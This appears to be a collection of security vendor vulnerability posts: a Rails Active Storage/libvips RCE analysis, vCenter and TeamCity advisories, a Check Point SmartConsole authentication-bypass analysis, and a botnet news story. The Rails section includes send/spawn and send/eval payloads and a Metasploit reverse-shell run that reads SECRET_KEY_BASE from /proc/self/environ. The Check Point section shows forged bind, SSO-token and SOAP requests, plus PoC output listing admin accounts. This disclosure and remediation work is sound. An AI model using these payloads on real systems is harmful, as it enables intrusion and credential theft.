Once an attacker has recovered secret_key_base and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack's write-up uses instance_eval for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:

{"send":["spawn","/bin/sh","-c","id"]}
{"send":["eval","File.write('/tmp/kr2s', %x{id})"]}

In image_processing 1.14.0, Chainable#apply invokes the attacker-controlled transformation name on the builder:

def apply(operations)
  operations.inject(self) do |builder, (name, argument)|
	if argument == true || argument == nil
	  builder.public_send(name)
	elsif argument.is_a?(Array)
	  builder.public_send(name, *argument) # <-- [22]
	elsif argument.is_a?(Hash)
	  builder.public_send(name, **argument)
	else
	  builder.public_send(name, argument)
	end
  end
end

At [22], a transformation named send reaches the builder's public send method. The first array element becomes a second method dispatch, which can invoke private Kernel#spawn or Kernel#eval. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because spawn or eval returns a non-builder value after the payload has already executed.

This RCE path does not depend on a Marshal object gadget. We validated it against Rails 8.0.5 configured with config.active_support.message_serializer = :json. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a Hash, Array, and String structure rather than a deserialization gadget.

The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request rails/rails#56995 discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.

Exploitation

Our Metasploit module follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against /proc/version, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either send/spawn for command payloads or send/eval for native Ruby payloads.

The module uses the returned PNG representation instead of the narrower MATLAB_empty metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer MATLAB_empty, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses send/spawn and send/eval, which fit Metasploit command and Ruby payloads directly.

In the lab run below, the representation used by the module resized the image, so the module selected a 20x20 sharpened text-read layout and recovered 180 bytes per request. It then recovered SECRET_KEY_BASE from /proc/self/environ, signed a JSON variation, and opened a shell as the Rails process user:

msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened

msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)

The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.

Ethiack's published  1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0's vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.

Remediation

For remediation guidance, see Rapid7's Emergent Threat Response blog and the Rails security advisory. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.

KindaRails2Shell: CVE-2026-66066, Critical Arbitrary File Read and Possible Remote Code Execution in Ruby on Rails

30 July 2026 at 12:11

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, a critical vulnerability affecting Active Storage image processing when used in conjunction with the libvips image processing library. The vulnerability has a CVSSv4 score of 9.5 and is classified as Initialization of a Resource with an Insecure Default (CWE-1188). An unauthenticated attacker may be able to leverage CVE-2026-66066 and read files accessible to the Rails application process, potentially exposing secrets that could enable remote code execution (RCE) or access to connected systems.

An application is affected when it uses libvips for Active Storage image processing and accepts image uploads from untrusted users. Rails notes that generating image variants is not a separate requirement for exposure. Vips is the default Active Storage variant processor for applications configured with Rails 7.0 or later defaults. According to Ethiack, only the Vips processor is affected; applications using Magick are not affected through the reported vector.

As of July 30, 2026, Rapid7 is not aware of exploitation in the wild. Ethiack and GMO Flatt Security, who independently reported the vulnerability, have withheld proof-of-concept code and details of the full attack chain. Public code claiming to exploit CVE-2026-66066 exists, but it is unclear how closely it corresponds to the full attack chain reported privately to Rails. According to the Rails Security Announcement, additional details will be disclosed no later than August 28, 2026. Rapid7 recommends remediating affected applications on an urgent basis, outside of normal patch cycles.

Update #1: On July 31, 2026, Rails published technical details and forensic tools earlier than its planned August 28 disclosure date after several researchers reverse-engineered the attack and published proof-of-concept code.

Technical overview

libvips uses operations to load and save image formats, including operations backed by third-party libraries. Some are marked "unfuzzed" or "untrusted" because they are unsafe for untrusted content. According to Rails, Active Storage did not disable these operations before processing user-supplied files, which may allow a crafted upload to trigger an unsafe operation and disclose files readable by the application.

The attack details published by Rails describe a chain in which an attacker creates a blob through Active Storage's direct-upload endpoint with a false image content type and obtains a genuine signed variation_key from a page that renders an Active Storage representation. A crafted file identifies itself to libvips as a MATLAB level 5 file but to libmatio as a MAT 7.3 HDF5 container. HDF5's External File List then reads bytes from an attacker-selected path, which are rendered as image pixels and returned in the resulting variant. This known chain also requires the deployed libvips build to include the matload operation.

For this documented chain, the Active Storage direct-upload route must be reachable. When Active Storage routes are mounted, the direct-upload route is present by default even if the application's own interface does not use direct uploads. Rapid7 testing found that ordinary server-side attachment does not satisfy this chain because Rails re-identifies the crafted file as MATLAB data before variant processing.

The arbitrary file-read stage does not require knowledge of secret_key_base or a forged variation key. Rapid7 also verified an RCE escalation in which recovered Rails signing material is used to forge an ImageProcessing 1.x variation; this path does not require Marshal deserialization.

The Rails patch that remediates CVE-2026-66066, disables untrusted operations during Active Storage initialization. When ruby-vips is installed, patched versions prevent the application from starting if ruby-vips or libvips is too old to support that protection.

On August 3, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-66066, detailing the full RCE chain and accompanying metasploit module.

Mitigation guidance

Organizations running affected Ruby on Rails applications should upgrade to a fixed Active Storage release and ensure libvips is 8.13 or later. Updating Rails or Active Storage alone is not sufficient when an older libvips version is installed.

Rails has published forensic tools to assess whether an application was vulnerable and search Active Storage data for crafted files. Because scheduled cleanup of unattached blobs may remove evidence, Rapid7 recommends beginning forensic assessment promptly.

The Rails advisory identifies patched Active Storage releases 7.2.3.2, 8.0.5.1, and 8.1.3.1. The fixed Rails releases are:

Rails branch

Affected versions

Fixed version

Rails 7.x

7.0.0 through 7.2.3.1

7.2.3.2

Rails 8.0.x

8.0.0 through 8.0.5

8.0.5.1

Rails 8.1.x

8.1.0 through 8.1.3

8.1.3.1

The Rails advisory lists all Active Storage releases earlier than 7.2.3.2 as affected, which includes releases before Rails 7.0. Ethiack reports that Rails 6.0.0 through 6.1.7.10 may be affected when Active Storage is configured to use Vips, and Rapid7 has verified that the known attack works on the Rails 6.0 and 6.1 branches under that non-default configuration. Rails has not published fixed releases for branches earlier than 7.2, so affected applications on those branches should migrate to a supported fixed branch or apply the applicable workaround below.

When ruby-vips is installed, organizations should ensure it is 2.2.1 or later. Rails advises affected organizations to replace secret_key_base and other secrets accessible to the application process, including the Rails master key and the credentials it decrypts, storage service credentials, database credentials, and third-party service tokens or keys. Replacing secret_key_base expires active sessions and affects encrypted and signed cookies, signed global IDs, and Active Storage URLs.

As a temporary workaround on libvips 8.13 or later, organizations can set VIPS_BLOCK_UNTRUSTED or, with ruby-vips 2.2.1 or later, call Vips.block_untrusted(true) from an initializer. For libvips versions earlier than 8.13, Rails states that the only workaround is to remove the libvips dependency.

For the latest mitigation guidance, please refer to the Ruby on Rails security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-66066 with vulnerability checks expected to be available in the July 31 content release. 

Updates

  • July 30, 2026: Initial publication.

  • July 31, 2026: Updated with technical details and forensic resources published by Rails, and clarified the affected version range.

  • August 3, 2026: Added a Technical analysis section for the new Rapid7 Analysis.

Critical VMware vCenter Vulnerabilities Allow Authentication Bypass and Remote Code Execution (CVE-2026-59309, CVE-2026-59310)

By: Rapid7
30 July 2026 at 06:35

Overview

On July 29, 2026, Broadcom published security advisory VMSA-2026-0006 addressing multiple vulnerabilities in several VMWare products. Included in the advisory are two critical remotely exploitable vulnerabilities affecting VMware vCenter Server: CVE-2026-59309 and CVE-2026-59310. Both vulnerabilities carry CVSSv3.1 base scores of 9.8 and can be exploited by unauthenticated attackers with network access to a vulnerable vCenter Server.

CVE

CVSSv3.1

Description Summary

CVE-2026-59309

9.8 (Critical)

An authentication bypass vulnerability in the VMware Directory Service of vCenter that could allow a remote attacker to bypass authentication and gain unauthorized access to the vCenter management plane.

CVE-2026-59310

9.8 (Critical)

A directory traversal vulnerability in the vCenter Syslog server that could allow an attacker with network access to execute arbitrary code.

VMware vCenter Server provides centralized management for VMware vSphere environments, allowing administrators to manage ESXi hosts, virtual machines, resource allocation, availability, and other virtualization infrastructure from a central control plane. Compromise of vCenter can therefore provide an attacker with significant control over the virtualized environment and its associated workloads.

Both vulnerabilities are particularly significant because exploitation does not require prior authentication. However, an attacker must have network access to the affected vCenter services. Management interfaces such as vCenter are commonly restricted to internal or dedicated management networks, which can reduce exposure to internet-based attacks but does not mitigate the risk from an attacker who has already established access to an organization’s network.

At the time of publication, there is no known evidence of exploitation or scanning in the wild for either CVE-2026-59309 or CVE-2026-59310. There is also currently no known public proof-of-concept exploit code. However, vCenter Server has appeared on CISA’s KEV list ten times in the past for other vulnerabilities, so it is known that attackers target critical issues in this product. Customers running affected VMWare products are urged to patch on an urgent basis before exploitation in-the-wild occurs.

Mitigation guidance

Organizations running VMware vCenter Server should prioritize applying the updates identified by Broadcom in VMSA-2026-0006 on an urgent basis. Broadcom states that there are no workarounds for CVE-2026-59309 or CVE-2026-59310, making vendor-provided updates the primary remediation.

VMware Product

Component

Version

Running On

Fixed Version

VMware Cloud Foundation,

VMware vSphere Foundation

vCenter

9.1.x.x

Any

9.1.0.0300

VMware Cloud Foundation,

VMware vSphere Foundation

vCenter

9.0.x.x

Any

9.0.2.0100

VMware vCenter

N/A

8.0

Any

8.0 U3k

VMware Cloud Foundation 

vCenter

5.x

Any

Async patch to 8.0 U3k

VMware Telco Cloud Platform

vCenter

3.0, 4.x, 5.0.x, 5.1.x

Any

Refer to KB449886

VMware Telco Cloud Infrastructure 

vCenter

3.0

Any

Refer to KB449886


For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-59309 and CVE-2026-59310 on VMware vCenter Server, Cloud Foundation, and vSphere Foundation products with unauthenticated vulnerability checks expected to be available in the July 30 content release.

Updates

  • July 30, 2026: Initial publication.

  • July 30, 2026: Updated customers section to reflect availability of vulnerability checks.
  • August 4, 2026: Updated CVE links.

CVE-2026-63077: Critical unauthenticated remote code execution in JetBrains TeamCity

By: Rapid7
29 July 2026 at 12:16

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unauthenticated vulnerability affecting all versions of TeamCity On-Premises. The issue is classified as deserialization of untrusted data and has a CVSS score of 9.8. An unauthenticated remote attacker with HTTP(S) access to a TeamCity server can exploit the agent polling protocol to bypass authentication checks and execute arbitrary operating system commands with the privileges of the TeamCity server process.

In the blog post that JetBrains shared in tandem with CVE publication, they stated that attackers who exploit the vulnerability can read stored credentials and compromise CI/CD pipeline integrity. The impact of successful exploitation depends on the operating system privileges granted to the TeamCity server process. At the time of disclosure, JetBrains stated that they were not aware of active exploitation. On August 5, CISA added CVE-2026-63077 to its KEV catalog.

Technical analysis

On August 7, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-63077. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to achieve remote code execution on a vulnerable TeamCity server.

Mitigation guidance

Organizations running TeamCity On-Premises should urgently prioritize updating to a fixed version, either via the TeamCity UI update workflow or by downloading and installing one of the following fixed versions:

  • TeamCity 2025.11.7

  • TeamCity 2026.1.3

All versions of TeamCity On-Premises are affected. Organizations that cannot upgrade can apply JetBrains' security patch plugin to TeamCity 2017.1 and later. The plugin addresses only CVE-2026-63077; JetBrains recommends upgrading to a fixed version to receive other security updates. TeamCity Cloud customers do not need to take action.

In addition to patching, as a defense-in-depth measure, Rapid7 recommends restricting network access to TeamCity servers to only users and systems that must have it. For the latest mitigation guidance, please refer to the JetBrains security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-63077 with a vulnerability check available in the July 28 content release.

Updates

  • July 29, 2026: Initial publication.

  • August 5, 2026: Updated to reflect the addition of CVE-2026-63077 to CISA KEV.

  • August 7, 2026: Added link to the Rapid7 Analysis.

Rapid7 Analysis: Check Point SmartConsole Authentication Bypass (CVE-2026-16232)

28 July 2026 at 14:32

Overview

On July 22, 2026, Check Point published a security advisory for CVE-2026-16232, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). By leveraging CVE-2026-16232, an unauthenticated attacker can obtain an application login token, use this token to log in through SmartConsole with full administrator privileges, and modify the security policy or security configuration. Exploitation requires network access to the Management Server and for a Trusted Clients configuration that does not restrict GUI clients, which in our testing was a default setting. This vulnerability was reported as being exploited in the wild as a zero-day vulnerability at the time of disclosure.

Our analysis finds that the root cause of CVE-2026-16232 is a broken trust boundary in the application authentication path. A vulnerable server accepts an attacker-supplied Secure Internal Communication (SIC) distinguished name (DN) as the identity of a remote application instead of binding that identity to the authenticated remote peer certificate DN returned by getCertificateDnName(). An attacker can read the management server's own SIC DN during the unauthenticated bootstrap communication, replay that DN in a forged application certificate bind, obtain an application token, and then ask the legacy management service to mint a new SmartConsole single sign-on (SSO) ticket.

Rapid7 Labs has reproduced CVE-2026-16232 against affected R81.20 and R82.10 versions of the target software. Our proof-of-concept (PoC) exploit script can be used to successfully validate if a target is either vulnerable or patched. The vendor supplied patches have been confirmed to successfully remediate the vulnerability and prevent our PoC script from succeeding.

Analysis

SmartConsole is the desktop client administrators use to manage Check Point policy and configuration. A SmartConsole login crosses two generations of management plumbing over the network.

The first is the legacy FWM/CPMI service, listening on TCP 18190. It uses SIC, Check Point's certificate-based trust mechanism for communication between management components. Once the SIC bootstrap completes, FWM exchanges length-prefixed “FwSet” objects, a Check Point name/value encoding used by older management services.

The second is the newer CPM/DLE service. This exposes SOAP services over HTTPS on TCP 19009 under the URI path /cpmws/. SmartConsole uses these services for login, queries, and object operations. Authenticated requests carry DLESESSIONID and CLIENTSESSIONID header values to prove a client is authenticated.

The exploit for CVE-2026-16232 uses both the FWM/CPMI and CPM/DLE services. It first uses the native FWM/CPMI protocol to claim an application identity and obtain an application token via the root cause of the vulnerability. It then uses the accepted native application session to ask FWM for a SmartConsole SSO ticket, redeems the ticket over CPM's SOAP API, and receives a SmartConsole session.

The diagram below shows the flow for exploiting CVE-2026-16232.

figure1.png

Figure 1: Flow diagram of exploitation.

The application authentication boundary

The Java login service contains a bridge for FWM application based logins. The authenticateUser method splits the supplied username into an application name and a SIC DN, then passes both into cpApplicationAuthentication(). 

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private AuthenticationResponse authenticateUser(AuthenticationInfoBase authenticationInfoBase, String string, String string2, CPUUID cPUUID, boolean bl, LockAdminInfoContainer lockAdminInfoContainer, ExternalLoginInfo externalLoginInfo) throws AuthenticationFailureLoginException, LicenseExpiredLoginException {

// ...

} else if (authenticationInfoBase instanceof FwmAuthenticationInfo) {
    object2 = authenticationInfoBase.getUsername();
    int n = ((String)object2).toLowerCase().lastIndexOf("cn=");
    object = (FwmAuthenticationInfo)authenticationInfoBase;
    if (FwmLoginType.APPLICATION.equals((Object)object.getFwmLoginType())) {
        String suppliedSicDn = ((String)object2).substring(n); // <-- [1]
        String applicationName = ((String)object2).substring(0, n - 1); // <-- [2]
        TdLog.debug((CPLogger)c, (String)"Authenticating FwmAuthenticationInfo on behalf of application {}", (Object[])new Object[]{applicationName});
        CPApplicationAuthenticationInfo cPApplicationAuthenticationInfo = new CPApplicationAuthenticationInfo();
        cPApplicationAuthenticationInfo.setUsername(applicationName);
        this.cpApplicationAuthentication((AuthenticationInfoBase)cPApplicationAuthenticationInfo, suppliedSicDn, cPUUID);// <-- [3]
        authenticationInfoBase.setUsername(applicationName);

At [1] and [2], the login service treats attacker-controlled input as both the application name and the claimed SIC identity. At [3], the untrusted DN claim reaches the remote application authenticator as a separate argument.

The method that consumes that identity is authenticateRemoteApplication(). This method prefers the attacker-supplied DN whenever one is present.

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn) throws AuthenticationFailureLoginException {
  String effectiveSicDn = suppliedSicDn == null
          ? this.j.getCertificateDnName()
          : suppliedSicDn; // <-- [1]
  CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
  if (effectiveSicDn.equals("CN=siclocal")) {
    this.authenticateLocal(applicationName);
  } else {
    this.t.identifyDomainForRemoteLogin(effectiveSicDn); // <-- [2]
  }
}

The problem is at [1]. The vulnerable code collapses the untrusted claim and the authenticated peer identity into one variable. If suppliedSicDn is present, the code never uses getCertificateDnName() at all. The method then uses the attacker-controlled value at [2] to identify the login domain. In practice, a remote client can copy the management server's own SIC DN into :DN and authenticate as a remote application without presenting a client certificate for that identity.

What the patch changes

Our analysis compares the decompiled com.checkpoint.management.dleserver.coresvc.internal.LoginSvcImpl class from a vulnerable “R81.20 Jumbo Hotfix Take 146” against the patched “R81.20 Jumbo Hotfix Take 158”.

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn)
         throws AuthenticationFailureLoginException {
-    String effectiveSicDn = suppliedSicDn == null
-        ? this.j.getCertificateDnName()
-        : suppliedSicDn;                                      // <-- [1]
-    CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
+    String effectiveSicDn;
+    String certificateDn = this.j.getCertificateDnName();
+    String remoteIp = this.j.getRemoteIpAddress();
+    boolean localSic = IpUtils.isLoopback(remoteIp) && "CN=siclocal".equals(certificateDn);
+    if (localSic && suppliedSicDn != null) {
+        effectiveSicDn = suppliedSicDn;                       // <-- [2]
+    } else {
+        effectiveSicDn = certificateDn;                       // <-- [3]
+        boolean mismatch = suppliedSicDn != null
+            && StringUtils.isNotEmpty(certificateDn)
+            && !suppliedSicDn.equalsIgnoreCase(certificateDn);
+        if (mismatch) {
+            TdLog.error(c,
+                "Rejecting caller-supplied SIC name that does not match the client certificate DN for application {} from {}",
+                applicationName, remoteIp);
+            throw new AuthenticationFailureLoginException(
+                "Remote authentication failed for peer " + remoteIp + "."); // <-- [4]
+        }
+    }
+    if (Strings.isNullOrEmpty(effectiveSicDn)) {
+        TdLog.error(c, "Remote application {} login rejected: no authenticated SIC identity",
+            applicationName);
+        throw new AuthenticationFailureLoginException(
+            "Remote authentication failed for peer " + remoteIp + ".");     // <-- [5]
+    }
     if (effectiveSicDn.equals("CN=siclocal")) {
         this.authenticateLocal(applicationName);
     } else {
         this.t.identifyDomainForRemoteLogin(effectiveSicDn);
     }
 }

Shown above, the vulnerable “Take 146” accepts the caller's DN at [1]. The patched “Take 158” only allows a supplied DN for loopback CN=siclocal traffic at [2], which preserves the local application case. Remote clients now use the authenticated remote peer certificate DN at [3], and any mismatch between the supplied DN and that authenticated identity is rejected at [4]. The new empty identity check at [5] also prevents a remote application login when there is no authenticated SIC identity at all.

This is why replaying the management server's DN no longer works. The attacker can still send the same :DN text, but the patched remote path does not use that text as effectiveSicDn. If the client presents no certificate, as in our PoC, certificateDn is empty and the check at [5] rejects the login. If the client presents a certificate with some other DN, the mismatch check at [4] rejects the forged server DN. To make the supplied server DN survive the patched checks, the attacker would need an authenticated client certificate whose subject DN already matches that server DN, which removes the unauthenticated bypass.

Protocol flow to a SmartConsole session

The relevant application-layer traffic is shown below in the order our PoC sends it. For brevity, we have omitted the boilerplate CA and CRL bootstrap exchange as it is not pertinent to the vulnerability’s root cause.

After the SIC bootstrap, the PoC sends a certificate bind request that supplies the management server's own SIC DN (cp_mgmt,o=gw-5622ca..5otbwa in the example below):

(
    :local_bind (0)
    :token_bind (0)
    :DN ("cn=cp_mgmt,o=gw-5622ca..5otbwa") # <-- attacker-controlled identity
    :certificate_bind (1)
    :application_login ("CPM Server")
    :client_without_administrator (true)
)

Despite the :certificate_bind field name, the PoC does not load or present a client certificate in its Python TLS context. The bind request only provides the :DN claim as a text string. On a vulnerable server, the bind succeeds because the application login path accepts :DN as the effective SIC identity. The PoC then sends an open-database request, shown below, and receives the application login token described in Check Point's advisory.

(
    :type (command)
    :subject (open-database)
    :body (
        :Name ()
        :db_open_reason ()
        :dle_session_id ()
        :database ()
        :db_open_id ("(nil)")
    )
    :no-reply (false)
)

The open-database response is a binary-encoded FwSet object. The PoC extracts the 43-character DLE token from that response and then uses it as a CPM DLESESSIONID value.

The next step is to perform a gen-sso-token request. The forged application session asks FWM to create a SmartConsole ticket whose original client claims system_admin, local SOAP binding, and a permission bitmap indicating full permissions (i.e. all permission bits are set):

(
    :type (command)
    :subject (gen-sso-token)
    :body (
        :type (SmartConsole)
        :sso_original_client (SmartConsole
            :lower_name (system_admin)
            :soap_local_bind (1)
            :permissions ("ffffffff|ffffffff|ffffffff")
        )
    )
)

The native FWM authorization code has a special case for this command. If the current client is treated as a Check Point config administrator (which it will be), a gen-sso-token request is allowed before the normal permission mask check, as shown in [1] below. 

// Source: work/native_patch/t146/fw1/fw1/bin/fwm.full (fwm_is_authorized)

_BOOL4 __cdecl fwm_is_authorized(int a1, int a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
bool v6; // zf
int v7; // edx
int v9; // [esp+14h] [ebp-34h]
int v10; // [esp+18h] [ebp-30h]
const char *v11; // [esp+1Ch] [ebp-2Ch]
_DWORD v12[7]; // [esp+2Ch] [ebp-1Ch] BYREF

  v11 = *(const char **)a2;
  v10 = CPMIGetClientPermission(a1);
  v12[0] = 0;
  v9 = CPMIGetClientAdvancedPermission(a1);
  fwobj_getint(a1, g_szCPMI_SOAP_LOCAL_BIND, v12);
  if ( v12[0] != 1 )
  {
    if ( is_fwmalert_client(a1) && strcmp(v11, "fwm-alert") )
      return 0;
    v3 = fwobj_safe_get(a1, g_szCPMI_LOWER_NAME);
    if ( strcmp(v11, "gen-sso-token") || !fwm_isCpconfigAdmin(v3) ) // <-- [1]
    {
      // Normal command permission checks follow.
      // ...
      return 0;
    }
  }
  return 1;
}

The gen-sso-token response contains a new SSO ticket. The attacker then redeems that ticket through the normal SmartConsole SOAP login path. The request below shows only the fields that matter to this analysis:

POST /cpmws/LoginSvcRemote HTTP/1.1
Host: 192.168.86.15:19009
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:l="http://www.checkpoint.com/DleWebService/LoginSvcRemote"
 xmlns:d="http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <l:loginNew>
      <d:loginRequest>
        <d:applicationName>SmartConsole</d:applicationName>
        <d:domain>a0eebc99-afed-4ef8-bb6d-fedfedfedfed</d:domain>
        <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
          <d:username>system_admin</d:username>
          <d:SSOToken>512d49aa4c026d57177bea06dd28669c889479bfa8ea6d3b53fabe59ec9e0a2e</d:SSOToken>
        </d:authenticationInfo>
      </d:loginRequest>
    </l:loginNew>
  </soap:Body>
</soap:Envelope>

The loginNew response returns the two identifiers that SmartConsole uses for later requests:

<loginNewResponse>
  <return>
    <clientSessionId>ZMKhaQEsZ7bkMSlMVR7ARhvQIeTCdqwlvrcN-Ux4CvI</clientSessionId>
    <sid>hRA3CPLRpTalxBIiv3miYGFlLy6JNHYQwqcKhD4Aktg</sid>
  </return>
</loginNewResponse>

At this point, the attacker has moved from unauthenticated network access to a SmartConsole session identified by sid and clientSessionId. Ticket redemption is also the step that produces the advisory's log based IOC, with a message “Authentication method: application token” logged in the audit log, as shown in Figure 2 below.

figure2.png

Figure 2: Audit Log IOC.

Exploitation

Our PoC implements the minimum SIC/CPMI bootstrap needed to obtain the application token, mint the SmartConsole ticket, redeem it over SOAP, and display the results of several privileged operations before and after ticket redemption .

The following shows our PoC running against a vulnerable R81.20 target.

$ python3 CVE-2026-16232.py --target 192.168.86.15
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W45UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
    hostName: gw-5622ca
    hostIpAddress: 192.168.86.15
    osName: Linux
    osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 34bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
    admin: UNIX_PASSWORD
    Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD

For the purpose of demonstrating the vulnerability and the level of access the authentication bypass achieves, the PoC uses the authentication bypass to access some protected resources. Specifically, the PoC retrieves some basic system information via a call to getServerInfo, and retrieves the SmartConsole admin accounts via a call to GetAllAdmins.

First, the PoC uses the application token as a DLESESSIONID value for PerformanceTestSvcRemote.getServerInfo. The same SOAP method returns a fault without a valid session, while the application token returns the server information

The PoC then sends the same GetAllAdmins query twice, once with the application token and once with the redeemed SmartConsole session.

Using only the application token receives a successful query response with zero visible records, while using the redeemed SmartConsole session receives all records available.

Running the same PoC against a patched R82.10 target shows the malicious application bind request failing.

$ python3 CVE-2026-16232.py --target 192.168.86.16
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-16232 which contains further details.

Despite multiple takedowns, botnets continue to grow

24 July 2026 at 15:47

Botnets powered by residential proxy networks are proliferating, enabling cybercriminals of all types to evade detection by blending in with seemingly legitimate traffic, Lumen Technology’s Black Lotus Labs said in a report Friday.

The global scale of botnets observed by Lumen is currently approaching 60 million victim IP addresses, Chris Formosa, senior lead information security engineer at Black Lotus Labs, told CyberScoop. Roughly 1 in 4 of those compromised IPs are based in the United States, and the true number of infected devices is much greater because there are networks beyond Lumen’s visibility and multiple devices are often unknowingly running a malicious proxy network on the same IP. 

Super-sized botnets are also gaining momentum, according to Lumen, with an average of 10 distinct botnets controlling their own populations of about 1 million active victims daily.

“The only reason these botnets keep getting more and more victims is because there is clearly a market. Aside from criminal activity, who wants access to millions of IPs regularly?” Formosa said. 

That demand for botnets fuels opportunities for growth, reselling, collaboration, and quick rebounds following massive disruptions.

IPIDEA, one of the largest residential proxy networks in operation when its infrastructure was disrupted by coordinated strikes in January, recovered at nearly half-strength within hours and earlier this surpassed its pre-disruption botnet size with a current botnet population of about 10 million IPs, researchers said.

“Their rebuild was eye-opening as they began to rebound from that interdiction,” Ryan English, information security engineer at Black Lotus Labs, told CyberScoop. “Even for how quickly some botnets can rebound, theirs was surprising. We’ve seen them all rebuild, but we haven’t seen anybody do it that fast.”

Meanwhile, botnets are continuously growing, as cybercriminals seek out the cover they provide, more cheap and poorly defended devices hit the market and vendors stop providing security updates for older but still usable products. 

“Your available pool for those proxy hunters grows every year, and it will continue to grow every year,” English said, adding that more than 1 billion devices are currently vulnerable and available to be unknowingly sucked up into botnets.

The challenge for defenders is lopsided, and while disruptions and seizures occur relatively often, botnet operators have formed a global supply chain with pathways that are difficult to break. 

“We have observed multiple residential proxy services collaborating to form what amounts to the largest cooperative network ever seen on the internet,” researchers wrote in the report.

Black Lotus Labs currently tracks more than 30 distinct malicious proxy botnet clusters, and most of those regularly boast more than 100,000 daily victims.

